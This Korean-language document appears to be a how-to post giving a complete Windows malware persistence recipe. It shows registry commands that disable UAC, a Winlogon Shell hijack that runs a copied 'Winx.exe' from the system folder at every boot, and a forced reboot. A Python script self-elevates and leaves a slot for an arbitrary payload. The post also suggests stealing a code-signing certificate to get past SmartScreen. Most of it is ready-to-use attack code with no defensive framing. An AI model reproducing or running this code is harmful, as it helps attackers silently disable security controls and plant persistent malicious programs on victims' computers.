시나리오
UAC Alert 해제 후 프로그램이 관리자 권한으로 매 부팅마다 실행되도록 지속성 부여
1. UAC 해제
# CMD
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
2. 부팅 시 자동 실행 등록
# REG.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
3. UAC 적용을 위한 PC 재시작
# CMD
shutdown /r /f
4. 악성 프로그램 실행
# Python 3.X
# 관리자 권한으로 실행하는 로직
# 인터넷을 통해 배포되지 않은 경우 Smart Screen 발생하지 않음
# Smart Screen 발생의 경우의 수 추가 확인 필요
import os
import sys
# win32com.shell이 아닌 win32comext 이다
from win32comext.shell import shell
ASADMIN = 'asadmin'
print(sys.argv)
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit()
# 사용자 임의 Payload
기타. 스마트스크린 발생 시
코드사인 인증서 탈취 후 적용하여 우회
5. 완성 샘플
사용자가 관리자권한으로 한번 실행해주면 부팅시 마다 관리자 권한으로 실행된다.
# 자동실행 위치(제일빠름)
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
전체 코드
import os
import sys
# On pywin32 Use win32comext in 2022
import webbrowser
from shutil import copyfile
from win32comext.shell import shell
ASADMIN = 'asadmin'
PROG_NAME ='Winx.exe'
ROOT_PATH = os.environ['SystemRoot']
if __name__ == '__main__':
# If Run as User, Run as Administrator
if sys.argv[-1] != ASADMIN:
script = os.path.abspath(sys.argv[0])
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
sys.exit()
# Add persistance & Reboot for deUAC
if os.path.isdir(os.path.join(ROOT_PATH,'Winx')) is False:
try:
os.mkdir(os.path.join(ROOT_PATH,'Winx'))
os.system('reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f')
os.system(f'reg.exe ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v Shell /t REG_SZ /d "explorer.exe, {ROOT_PATH}\\{PROG_NAME}"')
copyfile(sys.argv[0], os.path.join(ROOT_PATH, PROG_NAME))
os.system('shutdown /r /f /t 1')
except FileExistsError:
pass
sys.exit()
# Write your payload
print(f'/d "explorer.exe,{ROOT_PATH}\\{PROG_NAME}"')
webbrowser.open('http://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg')
webbrowser.open('http://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg')
webbrowser.open('http://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg')
6. 참고할만한 자료